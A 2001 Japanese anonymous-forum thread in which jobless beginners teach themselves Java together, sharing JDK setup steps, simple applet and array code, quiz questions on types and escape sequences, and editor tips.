1 :
うんこじゃば野郎 :
2001/07/10(火) 18:54 ボケーっとしてても、社会復帰できんので、JAVAを覚えましょう。 一人で独習してると、いつか挫折すると思われるので、一緒にやって くれる方がいると、心強いです。プログラム関係の板ですと、 絶対に煽られるので、ここにしました。 とりあえず今日学習したことを書き込んでいきましょう。 今日は、プログラム知識0なんで本を買ってきました。 (買っただけで終わったりして・・) 翔泳社「JAVAではじめるプログラミング」 桑原 信也 著 2400円(高い・・(藁 なんでJAVA?という問いには・・・「おもしろそうだから」 と答えときます(-_-)・・・単純ですなぁ。ドキュソですなぁ。 無職のみなさん、一緒にやりまそ。開発やらないにしても 「パソコンができる」ってレベルにはなりたいですなぁ。
2 :
新入り :2001/07/10(火) 18:57
ここで煽れらナイトおもっとるのか ぶっつぶす!!
3 :
うんこじゃば野郎 :2001/07/10(火) 19:03
4 :
にうら :2001/07/10(火) 19:06
まだインストしてねーのかよっ
5 :
あ- :2001/07/10(火) 19:06
俺もJAVAとやらをやってみたいんだが・・・ どこから手をつけたらいいのかさっぱりわからん。 何に役立つのか?馬鹿でもできるのか?
6 :
うんこじゃば野郎 :2001/07/10(火) 19:08
>4 だから、今本買ってきたばっかりなのさ。
7 :
ほねっと :2001/07/10(火) 19:09
僕もJava勉強してます。教科書は「独習Java」と「Java超入門」。 コンストラクタでつまずいてます。基本的には代入系言語なので BasicやCの経験があればオブジェクト指向な部分をのぞけば 学びやすいと思います。じつはオブジェクト指向な部分でつまづいてます。
8 :
うんこじゃば野郎 :2001/07/10(火) 19:10
>5 本によると、JDKつぅのをインストールするとこから はじめるらしいよ。一緒にインストールしましょう。 煽りには、負けんぞ。ケケ。
9 :
ぷぷぷ :2001/07/10(火) 19:10
具体的な目標があるのと無いのとでは 収穫が全然違うよ なんかダメ人間に役に立つもの作ってみれ
10 :
うんこじゃば野郎 :2001/07/10(火) 19:11
>7 ん?だから、まったくプログラムの経験ないのよ。ごめん。 そうゆう人で、はじめたい人を募集中なのね。
11 :
うんこじゃば野郎 :2001/07/10(火) 19:12
小さな目標 ( ´∀`)もなーが、左から右に動くようにする。 一週間でいけるかな?
12 :
まい :2001/07/10(火) 19:14
>>7 おいらはC++のコンストラクタでつまずいたよ。
13 :
ココア :2001/07/10(火) 19:14
JAVAティーなら知っているよ
14 :
うんこじゃば野郎 :2001/07/10(火) 19:17
>13 JAVAティーまずいよ。砂糖なしは、きついよ。
ダウソロードしたよ。 ↓ j2sdk-1_3_1-win
で、それをマスターすると何ができるんだい?
>>16 あー、動くホームページとか、データベースと連携したりとか
できるらしい。漏れも、読んでる最中なのさ。
とりあえず、Cドライブの直下にある、autoexec.batを編集するらしい。 なんのことかわからんがやってみる。 PATH C:\jdk1.3\bin;%PATH%
>>16 いろんなOSで動くことが、利点らしい。WINDOWSでもUNIXでも。
21 :
あ- :2001/07/10(火) 19:42
>>3 ダウンロ-ドすれば何ができるのか?
どこのボタンを押すんだ?
あほな質問ばかりで。ゴメン
発泡酒をビールにするJAVA作ってくれ
23 :
あ- :2001/07/10(火) 19:46
java.sun.comを開いたがどのボタン押せばいいのか さっぱりわからん。
>>21 j2sdk-1_3_1-winこれをダウソロードらしい。
continueとかいうボタンを押すとサイトがいっぱい出るです。
ぜんぜんあほじゃないです。なにもやろうとしないで
煽るやつが一番アホ。わかんなくなったらとりあえず検索すると
いいかも。漏れも検索しまくり google.ne.jpとかで
j2sdk-1_3_1-winと検索したりさ。わかんなかったらもう一回聞いてくれ。
こんなとこで、挫折できんでしょ。お互い。
26 :
ほねっと :2001/07/10(火) 19:58
クラスとかコンストラクタのところまで来たら合流してもいいですか。 そこで止まってるので。
27 :
あ- :2001/07/10(火) 19:59
Java2 SDK V 1.3.1 ソフトウェア windows95/〜版のダウンロ-ド continue のボタンを押せばいいのだろうか?
>>26 そこまでいくのに時間かかると思うけど、まっててちょ。
>>27 それでいいと思われます。
29 :
名無しさん :2001/07/10(火) 20:04
で、1時間たった今、立てたスレ気になって気になって手付かずか?
んー、さっきのやつ間違え。 PATH C:\jdk1.3.1\bin;%PATH% どおりで、動かんと思った。恥ずかしい(-_-)
うごいた・・・。 <html> <head></head> <body> <applet code="mona" width=300 height=200> </applet> </body> </html> import java.applet.Applet; import java.awt.Graphics; public class mona extends Applet { public void paint(Graphics g) { g.drawString("( ´∀`)",110,110); } }
32 :
あ- :2001/07/10(火) 20:10
>>28 continueのボタンを押したが英語ばかりでさっぱりわからん。
とりあえずさいごのacceptのボタンを押してもいいのだろうか?
こんなことで俺はこの先大丈夫だろうか?
33 :
まい :2001/07/10(火) 20:11
>>32 あー、重いかも。結構ダウソロードに時間かかった。
押していいんではないかとおもう。
一気にやろうとするから、つまずくんだよな、こうゆうのは。 たぶん・・( ´∀`)。ゆっくりやりませう。
36 :
あ- :2001/07/10(火) 20:26
だめだ。あんまり時間がかかるもんだから キャンセルのボタンを押しちまったよ。 いきなり挫折しちゃった。あ-あ
雑誌にのってるCD−ROMから入れる方法もあると思う。 インストールに三日かかってもいいじゃないっすか。 そうやって逃げてるから、無職なんだよな〜俺らは。 回線が空いている時間に再トライすればいいでは?
38 :
名無 :2001/07/10(火) 20:32
JAVA覚えるより,Cの方がいいんとちゃう? 目のつけどころがダメなんだよ。(ワラ 煽りですまん。
39 :
名無し :2001/07/10(火) 20:37
プログラムの事はどしろうとだけど 1がサイト持ってるならJAVAでコンテンツに反映できてやる気は出るかも。 Cだって初心者向けにプログラムを発表し会う場もあるかもしれないけどね。
40 :
あ- :2001/07/10(火) 20:39
このソフト(?)をインスト-ルしないとJAVAできないのですか? なんかすごくインスト-ルに時間がかかりそう。 ちなみに私の環境はWIN98でフレッツISDNです。 雑誌のCD-ROMも同じことができるのですか? インスト-ルに時間がかかるのですか?
>>38 C=つまんなそう
JAVA=面白そう
ってなわけです。
>>39 サイトないので作ります。
42 :
ここみ :2001/07/10(火) 21:02
43 :
あ- :2001/07/10(火) 21:07
料理の勉強でも始めます。あ-あ
44 :
名無 :2001/07/10(火) 21:09
>>42 解ってると思うよ。
JAVAもブラウザで実行できる。
45 :
おれ :2001/07/10(火) 21:16
じゃばつまらんぞ
46 :
あんた :2001/07/10(火) 21:19
ののしりあっても、しょうがないかと・・・ import java.applet.Applet; import java.awt.Graphics; /* <applet code="mona" width=300 height=200> </applet> */ public class mona extends Applet { public void paint(Graphics g) { g.drawString("( ´∀`)",110,110); } } こうすると アプレットビュアーがつかえるみたいだ。
ソースコードの構成要素は、変数、メソッド、およびクラス の3つに大きく分類できる。 メソッドは、データに対して何らかの処理を行うものである。
49 :
おれ :2001/07/10(火) 21:28
>>47 あれ?
じゃばの中にHTMLのapplet要素があるのって変じゃないですか?(実はよく知らない)
50 :
nanashi :2001/07/10(火) 21:30
仕事で食うんだったら c++ c c# == java perl vb の辺じゃないか?
51 :
(;´Д`) :2001/07/10(火) 21:32
javaって簡単? 実は以前Cに挑戦したが途中で挫折
>>47 なんかさ、いちいちブラウザ開かなくても
appletviewer って打ち込むと、確認できるらしい。
そのためには、HTMLのとこに書いたやつを、ああゆうふうに
乗っけるらしい。
53 :
おれ :2001/07/10(火) 21:38
雑学っぽい話だけど、書店のじゃば本は 今でもほとんどapplet要素使ってじゃばアプレットを埋め込むってなってるけど、 HTMLの仕様書的には「OBJECT要素を使ってよね」って言ってるみたい。
{ ブロック } /* コメント */ //コメント
55 :
名無しさん :2001/07/10(火) 21:45
風呂釜をジャバした日。
56 :
おれ :2001/07/10(火) 21:46
>>52 何だか習った気がするけど忘れちゃったよ。
拡張子が「.java」ってのと「.class」ってのと「.html」っていうのと3つのファイルがあったような。
まずコンパイルの話から始めなければややこしい気がするよ。
ドス窓から、javac mona.java (javaファイルは単なるテキストです。) とすると、mona.classってのが出来る。 (mona.classは、機械が認識できる形式) それをHTMLのなかに埋め込んで実行させる?
>>51 CとJAVAがどっちか難しいか、わからないっす。
だってCを知らないんですもの。
59 :
尻尾だけトラ猫 :2001/07/10(火) 22:01
ああ、これ参加したいなぁ。 自分でJAVAチャットとか作れたらいいよね。 iアプリとか作れたらこれまたいいよね。
なんでいちいち、浮動小数点なんて めんどくせー言い方なんだろな。頭くるよまったく(藁?
byte short int long float double char boolean ややこしい。各自調べてくれ・・(うひひ
63 :
おれ :2001/07/10(火) 22:11
じゃばの方がややこしいような気が。 というかじゃばアプレットって苦労のわりにはどうも表現力(というか効果)が寂しかった気が。 (初心者レベルの話)。 じゃばアプレットはお絵描きしましょうページとかによく使われてるみたい。 じゃばが何でこんなに騒がれたかってのは 「OSに依存せずに実行できるから」ってことだった(かな?)。 iModeでまた騒がれてきた(のかも)。
64 :
おれ :2001/07/10(火) 22:22
>>62 変数の型だったか。
うーん、ある程度文法は覚えて配列までいったあたりで挫折する、
たぶん大半はそんなかんじ(オレモナー)
習った時、先生の継承の説明が分かりにくくて(多分むちゃくちゃで)
ツッコンでたら授業終わっちゃった。
>>64 まあ、今日はこれくらいにしときますか。
ゆっくりやらないと、絶対挫折するので。
漏れも頭混乱してきた。浮動小数点がむかついてしょうがない。
また明日〜。
66 :
フィルター :2001/07/10(火) 22:25
なにかやってたのか?・・(w
>>66 やってたらしいよ。ぜんぜんわかんね。
変数と定数があるってのはわかるんだな。変数がいろんな
値が入って変わっていくってのもわかるんだがな。
鬱だ寝よう。
68 :
ぷぅ :2001/07/10(火) 22:38
全部よんだよ・・で上のやつ落としていれたけど、 もう終わりなの?
>>68 今日は終わりです。疲れた。今から履歴書かくよ。
なんか メモ帳使うのは、ドキュソってことらしいので、
Meadowってエディタをダウソロードしてみたが・・うーむ。
うーーーーーーむ。慣れると早いんだろうね。
我慢して使ってみるっすよ。
http://www.sodan.org/~penny/Meadow/ なんかいいエディタ知ってる人教えてちょ。
あ、ちなみに漏れは24歳既卒で、一昨日バイトくびになりました。
鬱だ。
70 :
ほねっと :2001/07/10(火) 22:58
浮動小数点(float、double)は実数を扱うためのデータ形式です。 doubleはfloatの二倍の精度があります。 ここでむかついてたらこの先が・・・(^^;
71 :
ほねっと :2001/07/10(火) 23:00
フリーソフトで窓の杜にTeraPadってのがありますよ。
メモ帳に比べれば使いやすいです。
>>69
72 :
尻尾だけトラ猫 :2001/07/10(火) 23:07
俺はWZ EDITORってやつ使ってます。 なんか弟がインストールしたらしくて、最初から入ってたから。 JAVAかぁ。本、図書館に置いてないかなぁ。 それかネットで勉強できるとこないかな。
73 :
◎ :2001/07/11(水) 03:32
おお、ありがと。 1日1時間くらい触ってみようかな。
おもしろそうだね。 んで、 結局は何を作るつもりでいるの?
76 :
新入り :2001/07/11(水) 06:17
>>75 一番大事なことを忘れてる・・・
だからダメなのか
勉強すること自体が目的じゃないの。
78 :
うろおぼえ :2001/07/11(水) 10:55
byte (-128 〜 127 の整数値) short (単精度整数型 -32768 から 32767) int (整数型 昔は -32767から32767までが格納可能?だったが処理系||CPUによってはlongと変わらなくなってる) long (倍精度整数型?? プラマイ21億ぐらいまでだったっけか?) float (浮動小数点型なんとか 通常はdoubleを使え ) double (倍精度浮動小数点型 誤差が出るので金勘定では使用すんな) char 文字型で256まで?(複数文字列を扱うには配列かポインタ型として使用 boolean(true か false か 0か-1か だったっけ? 真か偽か) currency 通貨型 金勘定で使う win32プラットフォームのデータ型は最初の内は考えるな。。。氏ぬ。
79 :
◎ :2001/07/11(水) 12:14
80 :
◎ :2001/07/11(水) 12:20
81 :
なりました :2001/07/11(水) 12:43
深く狭くで広げていこうとすると途中で嫌になるよ 広く浅くで掘り下げていったほうが長続きするかも
82 :
◎ :2001/07/11(水) 13:08
>>73 -82
あああ、ありがてぇ(泣。開発環境ってお金かかっちゃうのね。
まあ、テキストエディタでいいです。
さあて、昨日の復習だ、まずはJDKをインストールして
autoexex.batにパスを通して、適当なサンプルプログラムを
javac ●●でコンパイルするとこまではOKかな?
目的はねぇ、今のとこないんですがねぇ。楽しけりゃいいんじゃん?
何か作って欲しいもの(低レベル)なのがあればどんどんあげてちょ。
とりあえず。1+1=2だ public class keisan { public static void main(String args[]) { int a,b,c; a=1; b=1; c=a+b; System.out.println(c); } }
85 :
◎ :2001/07/11(水) 14:35
86 :
ばくち :2001/07/11(水) 14:36
ひでまるよんせんえん。
配列ねぇ。 int a,b,c,d,e,f,g,h,i,j; ってのがめんどいので int a[]; a= new int[10]; っつても a[10]はねぇんだな。ややこしいぞ ゴラァ。
88 :
◎ :2001/07/11(水) 15:10
Javaの配列は int a[]; よりも int[] a; と宣言するといいですよ。 些細なことですがint配列の変数a(int[] a)のほうがわかりやすいです。 int a[];はC言語の名残なんだそうです。
89 :
ななし :2001/07/11(水) 16:16
∩ ∧_∧ | | / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ( ´∀`)// < 先生!文字列は配列にできますか? / / \___________ / /| / __| | .| | \  ̄ ̄ ̄ ̄ ̄ ̄ ̄\ ||\ \ ||\|| ̄ ̄ ̄ ̄ ̄ ̄ ̄|| ̄ || || ̄ ̄ ̄ ̄ ̄ ̄ ̄|| .|| ||
EMACS(meadow)とやらの使い方覚えるだけで、三日かかるな こりゃ。覚えりゃ早いかもなー( ´∀`)。 でも、なんかマウス使うのかったるいので、いい感じ。うけけ。
>>88 ありがとう。そちは、なかなか詳しいよぅじゃな。
これからいろいろと、アドバイスキボンヌ。
ネットワークを通じてWebブラウザにダウンロードされ、ブラウザのウィンドウに埋め込まれて実行されるJavaプログラムのこと。Javaアプレットを悪用してユーザのコンピュータに被害を与えることのないように、ユーザのハードディスクの内容を読み書きしたり、自分が呼び出されたWebサーバ以外のコンピュータに接続したり、他のアプリケーションソフトを起動したりすることはできないようになっている。Javaアプレットを使うことにより、HTMLで記述された静的なWebページでは実現できない動的な表現が可能となる。また、Webブラウザのみで利用することができるネットワークゲームやチャットを開発することもできる。企業内のクライアントサーバ型のシステムでJavaアプレットを利用すれば、社員のコンピュータにはWebブラウザを入れるだけでシステムを利用できるようになり、アプリケーションソフトの配備や管理にかかるコストを節減することができる。
93 :
おれ :2001/07/11(水) 17:33
>>92 それがなあ。
ブラウザで実行なんてされたらかなわんから「じゃばオフ」は基本だもんよ。
だから言ったわけよ、じゃばアプレットって苦労のわりに報われない…。
(ネット慣れしてくるとみんなオフにするから)
94 :
おれ :2001/07/11(水) 17:35
あれ?話が違ってた。スマソ。
>>92 意味分からん。
95 :
おれ :2001/07/11(水) 17:42
分かった。 「ブラウザはじゃばアプレットで悪さできないようになってるから安心」 ってことかな。でもそんなの嘘だぁ(知らないけど)
多分 クライアントサーバーやるときに、メンテナンスが楽だって ことのような気がする。アプレットだけじゃないようだし、俺が やりたいなぁと思っているのは、JSPだぎゃ。俺もよくわかっとらん。
97 :
◎ :2001/07/11(水) 19:00
98 :
おれ :2001/07/11(水) 19:09
◎様はCもPerlも何でも分かりますか? 何だかCGI方面なら「多少出来れば引く手あまた」 って聞いたことありますがホントでしょうか? おれはうんこCGI野郎になって頑張ろうかな。
99 :
◎ :2001/07/11(水) 19:30
>>98 おれ様
いえいえ、Javaの基本的なことしかわかりません。
趣味でやってるのでわからないッスゴメン。
頑張ってね!
100 :
太陽薬局 :2001/07/11(水) 19:32
100おぱーい(代理
101 :
太陽薬局 :2001/07/11(水) 19:33
バイト先のイントラネットのcgiはよくトラぶってるよ
102 :
ほねっと :2001/07/11(水) 19:34
EMACSってエディタだっけ。どこにあるの?
103 :
◎ :2001/07/11(水) 19:38
104 :
太陽薬局 :2001/07/11(水) 19:42
EMACSでないとダメなの? おいら 秀丸&QX&紙2001 が常駐エディタ 紙2001はエディタちゃうか(^^;
105 :
専守防衛さん :2001/07/11(水) 19:43
106 :
まい :2001/07/11(水) 19:49
emacs(mule) or viの操作で挫折した俺は。 ついてけないよ。
107 :
専守防衛さん :2001/07/11(水) 19:50
>>106 なんかな〜。C-xってのかコントロールとXを押すって意味らしい。
チュートリアルがあったので一通り触ってみた。上を見たらきりがない
少しずつやるべ。ちまちまやってこうよ。
C-p C-b C-f C-e C-n なんかでカーソルが動くね。
あとは適当 うけけ。
>>98 CGIの時代は終わったらしいので、JAVAやるのさ。
CGIだと、サーバーに負荷がかかる、動作遅いらしい。
しかし、CGIはアクセスがあるたびにサーバが新しいプロセスを起動するので、オーバーヘッドとリソースの消費によるパフォーマンスの低下が避けられないというデメリットがあります。 これに対し、JSPはJSPコンテナと呼ばれるJSP実行プログラムが一度起動されていれば、その内部で実行されるので、リソースの消費が少なく効率的だというメリットがあります(図2)。 オーバーヘッドの意味がわからんのよ、JAVAがCGIより優れているのは よくわかった。ありがとう。
111 :
おれ :2001/07/11(水) 20:34
>>109 なんか「CGI」という言葉の捉え方が微妙に違うような気がしないでも。
インタプリタだから負荷がかかるなら、Cで作ればよいということか(よく分かってない)
112 :
おれ :2001/07/11(水) 20:35
そもそもJSPってのが何かさっぱり分かってないおれ
113 :
◎ :2001/07/11(水) 20:58
エディタは自分が使いやすいものでいいと思う。
マシンが高性能でメモリに余裕があるなら
>>73 をインストールしてみるのも イイ!
まずは
>>82 からデスヨ!
114 :
まい :2001/07/11(水) 20:59
ASPの方が早いよ サーバ選ぶけど
115 :
ほねっと :2001/07/11(水) 21:05
統合環境は>73のJBuilderがいいらしいけどうちの98SEに入れるとOS壊れる から入れられない。Win2000じゃないと安定しないらしいんだが。
116 :
まい :2001/07/11(水) 21:06
117 :
おれ :2001/07/11(水) 21:26
どうも話がまとまらなくなってきたな。 うんこじゃば野郎氏は引用が多いけど、 自分の言葉でじゃばを語ることが大切な気がします。
118 :
まいっか :2001/07/11(水) 21:28
>>116 はぁじゃねーだろ
インストールしたのか?
JAWA
119 :
うんこじゃば野郎 :2001/07/11(水) 21:51
>>117 昨日本買って覚えはじめた漏れに、どう語れとおっしゃる。
語ってるほうがうそ臭くない?
>>118 おっしゃるとおり、
ASPはM$のサーバーでしか動かないのです。
JAVAはOSを選びません。ASPとJSPどっちが早いかは知りませんが・・・
ASPできる人の数>JSPできるひとの数
これから使われるであろう言語(WEB)
PERL<ASP<PHP<JSP
別に開発やるわけじゃないのよ、プログラムの知識があれば
ちったぁ「パソコンが出来る」に近づくでしょ。
べつにエクセルでVBAやってもいいのよ、でもつまんないから
やんないの。つまんないと途中でいやになるでしょ。
所詮プログラムが得意なやつは、五万といて、そうゆうやつには
かなわないのは、わかってるのね。でも、プログラムを知ってるのと
知らないのでは、これから仕事する上で(インドアでね)
かなり違ってくると思うのよ。どうだろう。今二次元配列で
とまってる俺・・・情けない。
120 :
フィルターβ :2001/07/11(水) 22:10
だれかiアプリつくれ(w
121 :
Webマスター :2001/07/12(木) 04:57
| | 先生! HTMLしかわかりません! \__ __________ V /■\∩ ( ´∀`)ノ _(つ ノ_ \ ̄ ̄ ̄ ̄ \ ||\ \ ||\|| ̄ ̄ ̄ ̄|| ̄ || || ̄ ̄ ̄ ̄|| || ||
122 :
名無しさんが@通る :2001/07/12(木) 05:01
この中で買ったのある? コンピュータ(書泉グランデ調べ 2001年7月10日) 毎週水曜日6時 更新 1 The IPv6 Jornal NO.2 Summer インターネット戦略研究所 2381円 2 Java言語で学ぶデザインパターン入門 ソフトバンクパブリッシング 3800円 3 要点チェック式ブロードバンド教科書 シーブック24ドットコム 3800円 4 PREMedia Part15 日本語DTPホントの実力 印刷出版研究所 2381円 5 それがぼくには楽しかったから 小学館プロダクション 1800円 6 ファイバチャネル技術 解説書 論創社 8500円 7 インターネット白書2001 インプレス 4800円 8 実践インターネットセキュリティ BNN 3800円 9 サーブレット&JSPではじめる JAVAサーバサイドプログラミング 技術評論社 2980円 10 オールラウンドプログラミングvol.1 Java500の技 技術評論社 1980円 11 ウイルス、伝染るんです 廣済堂出版 1500円 12 WEB+DB PRESS Vol.3 技術評論社 1380円 13 新情報通信 早わかり講座4 日経BP社 3619円 14 Namazuシステムの構築と活用 ソフトバンクパブリッシング 2800円 15 図解でわかる 文字コードのすべて 日本実業出版社 2700円 16 PC自作派Vol.17 JULY マイクロデザイン 980円 17 やさしいXML ソフトバンクパブリッシング 2500円 18 Mac OSX徹底活用ガイド 技術評論社 2180円 19 続 誰も教えてくれなかったインターネットセキュリティのしくみ 日経BP社 1700円 20 WEB Site Design vol.1 技術評論社 1280円
123 :
尻尾だけトラ猫 :2001/07/12(木) 05:07
おお、このスレ。
全然ついていけない。
>>122 買ったことあるのはないです。
124 :
◎ :2001/07/12(木) 05:18
二次元配列はJavaの配列はオブジェクトだということに気づけば簡単ですヨ!
>>115 そうなのですか、知らなかった。
そういえば7月下旬に新しいVerの無料版がでます。
>>122 私が持っている本はJDK1.0仕様…(;´Д`)
125 :
ぽち :2001/07/12(木) 05:45
翔泳社の出す本っていいよね。
127 :
◎ :2001/07/12(木) 09:52
んじゃ問題です。 public class Mona { public static void main(String args[]) { System.out.println("オマエモナー"); } } (1)Javaファイル[ Mona.java ]を作成し、Javaプログラムを上のように入力して ソースファイルを作成してください。 コマンドプロンプトで[ javac Mona.java ]と入力しJavaコンパイラを起動してください。 [ Mona.class ]が作成されるはずです。 [ java Mona ]と入力し実行してください。 [ オマエモナー ]と表示されましたか? (2)上のプログラムはJavaの基本単位であるクラスになりますが、クラス名は何ですか? (3)このクラスにはメソッドが一つだけ含まれています、メソッド名は何ですか?
128 :
◎ :2001/07/12(木) 09:53
ヒント [ public ][ class ][ static ][ void ]はJavaのキーワード、 キーワードはJavaで決められている文字なのでプログラマー名前に使うことは出来ない。 メソッド名のあとには必ずカッコ[ ( ) ]をつける。 中カッコ[ { } ]で囲んである部分がひとかたまりになる。 クラス全体が中カッコで囲んでありますね? メソッドの内容も中カッコで囲んであります。 System.out.println()はJavaのAPIです。 APIは便利なようにJavaですでに用意されているクラスです。 System.out.println()はカッコの中の文字列(””ではさまれている部分)を コマンドプロンプトに表示します。
129 :
◎ :2001/07/12(木) 10:56
>>128 プログラマー名前 > プログラマーが名前
問題です。
(1)コメントは何箇所ありますか?
(2)メソッドcalc()には変数と定数がそれぞれ2つづあります。
変数はどれですか?
定数はどれですか?
(3)メソッドcalc()のbの値はいくつになりますか?
/*
* Mona2クラス
*/
public class Mona2 {
public void say() {
// オマエモナーを出力する。
System.out.println("オマエモナー");
}
/* 計算する */
public void calc() {
int a = 123456;
int b = a - 100000;
}
}
ヒントなし。次の問題は変数の型で多分夜。
130 :
◎ :2001/07/12(木) 12:05
131 :
◎ :2001/07/12(木) 12:14
132 :
◎ :2001/07/12(木) 12:18
133 :
◎ :2001/07/12(木) 12:22
>>129 答え(2)その2
定数123456 100000
134 :
◎ :2001/07/12(木) 12:24
135 :
おれ :2001/07/12(木) 13:00
だいたい正解できた。基本の基本は大丈夫のようだ。 でもAPIという言葉が出てくると「???」になってしまう。 何の略だろ? 勘で…、(アプリケーション・プログラミング・インターフェース)。 全然違ったりして。 変数って宣言しないとデータ型はどうなるの?
JavaプログラミングBlackBookは買ったかい?
>>129 変数を宣言するのと、計算を一緒にやってもいいんですな。ふむ。
138 :
まい :2001/07/12(木) 14:32
blackbookシリーズは装丁がかっくいい。
139 :
おれ :2001/07/12(木) 14:34
>>137 あ、ホントだ。値を代入するところで宣言してたんだ。
定数と変数はわけわからなくなるので、 こうするらしいぞ。 定数は、全部大文字で finalをつける。 final int TEISU=123456; int Hensu=123;
141 :
うんこじゃば野郎 :2001/07/12(木) 15:20
明日までの宿題です。 問題! 10×10の二次元配列を作って、 (゚Д゚;)と( ´∀`)を交互に使って配列を埋め尽くしてください。 ギコネコとモナーで埋め尽くすのだ。
142 :
◎ :2001/07/12(木) 19:39
>>135 Javaの変数は必ず宣言が必要ッス
APIはApplication Programming Interfaceの略で当たりッス!
>>141 イエスサー
143 :
◎ :2001/07/12(木) 19:39
問題 コンパイルエラーになる式はどれですか?すべて挙げてください。 public void intVer() { int A; int 1a; int b, c, d; int int; int integer_value; int e = 123; int f = e; int g = e + 1; }
144 :
◎ :2001/07/12(木) 19:43
問題 (1) intは何ビットですか?また値の範囲は? (2) shortは何ビットですか?値の範囲は? (3) longは何ビットですか?値の範囲は? --何ビット?-- 8ビット 16ビット 32ビット 64ビット 128ビット --値の範囲は?(ア〜カ)-- ア 0 〜 65,535 イ 0 〜 4,294,967,295 ウ 0 〜 18,446,744,073,709,551,615 エ -32,768 〜 32,767 オ -2,147,483,648 〜 2,147,483,647 カ -9,223,372,036,854,775,808 〜 9,223,372,036,854,775,807
145 :
◎ :2001/07/12(木) 19:44
146 :
◎ :2001/07/12(木) 19:47
>>144 答え
何問正解しましたか?
次の問題はchar型とエスケープシーケンスです。
147 :
かもめ獣人 :2001/07/12(木) 19:54
JAVAってなんだっけ? 全然知らないよ
148 :
茄梨 :2001/07/12(木) 20:08
JAVVA
149 :
ほねっと :2001/07/12(木) 20:09
独習Javaの例題1.8を入れてみたんですけど動かないですよ? class Example2 { public static void main(String args[]) { System.out.println("This is on the first line."); System.out.println("This is on the second line."); } } なんか、もう一冊の本(Java超入門)の書き方とはだいぶ違います。
150 :
ほねっと :2001/07/12(木) 20:17
すいませんうごきました。独習のコードはjavaインタープリタで動かす みたいです。超入門とおなじようにHtmlのappletタグで動かそう としたせいでうまくいかなかったようです。
Java 2 SDK インストール。 一応参加してるから。
152 :
おそ松 :2001/07/13(金) 02:14
私は”sakura”と言うフリーのエディタ使ってます。 javaの予約語だけ文字の色が変わるのでとても便利です。 byおちコボラー
153 :
うんこじゃば野郎 :2001/07/13(金) 03:52
>>141 あー、できた。これって配列に0と1をいれて
あとから ( ´∀`)と(゚Д゚;)を出力すりゃいいんだな・
154 :
うんこじゃば野郎 :2001/07/13(金) 03:54
>>150 java Example2
と打ち込めばOKってことかい?
ほねっとはMacだったっけ? MacとWinじゃ、ちょっと違うのかな。
俺はまだ100レス分くらい前の段階です。
157 :
いちご味 :2001/07/13(金) 04:20
おもしろそう。 明日からやろうかな? 今から追いつけるかな?
>◎さん エスケープシークエンスのことで、" ' の使い分けをおしえてくり。 本見るといまいち明確でないんだなぁ。
Java Server Pages 動的に生成されたページを表示するWebサイトを実現するための機構の1つ。MicrosoftのIIS(Internet Information Service)で利用されている同様の機構としてASP(Active Server Pages)があるが、これのJava版と考えてよい。 基本的な概念は、HTMLファイルの内部にスクリプトで処理を記述し、Webブラウザからのリクエストのたびにスクリプトをサーバ側で実行し、HTML中のスクリプト部分をその処理結果で置き換えてWebブラウザに送り出す、というもの。これにより、HTMLファイルと処理との関連が分かりやすく、実際の表示イメージを意識しながら動的なコンテンツを作成することができる。 JSPファイルはコンパイルされて「Servlet」となる。このため、JSPからJavaBeansを呼び出すことで既存のプログラム資産を活用することも容易だ。
PHP HTMLファイル中に組み込んで利用するスクリプト言語。 動的なWebコンテンツの提供のために使われるもので、ASP(Active Server Pages)やJSP(Java Server Pages)、あるいはColdFusionのような商用製品と同様の狙いと機能を提供するものと考えてよい。独立した処理系としてフリーで公開されているため、特定の企業に依存した技術ではなく汎用性が期待できる。データベースアクセスなどの機能が特に充実しており、データベースと連動したWebサイトの構築などでよく利用される。
じゃばすくりぷと Netscape社のWWWブラウザであるNetscape Navigator(Communicator)で実行可能なスクリプト言語。文法はJava言語を参考にしているが、Java言語との互換性はない。HTMLファイル上に<Script>タグを使って記述することにより、ボタンが押された場合の処理や、簡単な演算処理などをWWWブラウザ上で実現できる。 同様のスクリプト言語として、MicrosoftのWWWブラウザであるInternet Explorerでは、Java Scriptに加えて、VBScriptと呼ばれるスクリプト言語をサポートしている。
164 :
茄梨 :2001/07/13(金) 07:49
やさしく語ることができないのは理解していないからだ
実は昨日うんこじゃばと同じ本を買った。 全部パソコンの中に取り込んで、古本屋に売る予定。
>>164 デジタル用語辞典からコピペしただけです。
meadowを使っている方へ。(エディタは何でもいいと思います) .emacsというファイルがあるのでそれに 以下をコピペしてください。日本語が使用可能になるのと JAVAの重要語句に色がつきます。JDEをいれるとmeadowから JAVAをコンパイルしてJAVAを走らせることが出来ました。 さっきのHPにやり方がすべて書いてあります。 ------------------------------------------------------- (set-language-environment 'Japanese) (mw32-ime-initialize) (setq default-input-method "MW32-IME") (global-font-lock-mode t)
168 :
◎ :2001/07/13(金) 08:52
>>141 こんなんでどうでしょうか?
public class GikoMona {
public static void main(String[] args) {
int i,j;
String[][] s = new String[10][10];
for (i = 0; i < s.length; i++) {
for (j = 0; j < s[i].length;) {
s[i][j++] = "(゚Д゚;)";
s[i][j++] = "( ´∀`)";
}
}
}
}
169 :
◎ :2001/07/13(金) 09:02
>>143 変数宣言は式ではなくステートメントでしたスマソ。
>>160 うんこじゃばさん
""は文字列ッス
''は文字です。
だから
OK
String s = "オマエモナー";
char c = '∀';
ダメ
String s = '∀';
char c = "オマエモナー";
String s = 'オマエモナー';
それから
String s = "オマエモナー";
は
String s = new String("オマエモナー");
と同じなんだそうです。
>>169 うへー、すげぇよくわかたよ。ありがとよ。マジで感謝するよ。
171 :
◎ :2001/07/13(金) 13:29
>>170 ノープロブレムですヨ
問題
それぞれなんの定数ですか?
(1) 123L
(2) 'a'
(3) '\n'
(4) 1234567891
(5) 123456789123456789L
(6) 0377570
(7) 04771L
(8) 0x8f3f
(9) 0x5a0f9L
--なに?--
ア. 整数の定数
イ. long型整数の定数
ウ. 文字定数
エ. 整数の定数(8進数表記)
オ. 整数の定数(16進数表記)
カ. long型整数の定数(8進数表記)
キ. long型整数の定数(16進数表記)
172 :
◎ :2001/07/13(金) 13:30
問題 それぞれのエスケープシーケンスの意味は? (1) \n (2) \t (3) \b (4) \\ (5) \' (6) \" ア バックスペース イ タブ ウ 改行 エ [ " ]ダブルクォーテーション オ [ ' ]シングルクォーテーション カ [ \ ]円記号、またはバックスラッシュ
173 :
◎ :2001/07/13(金) 13:30
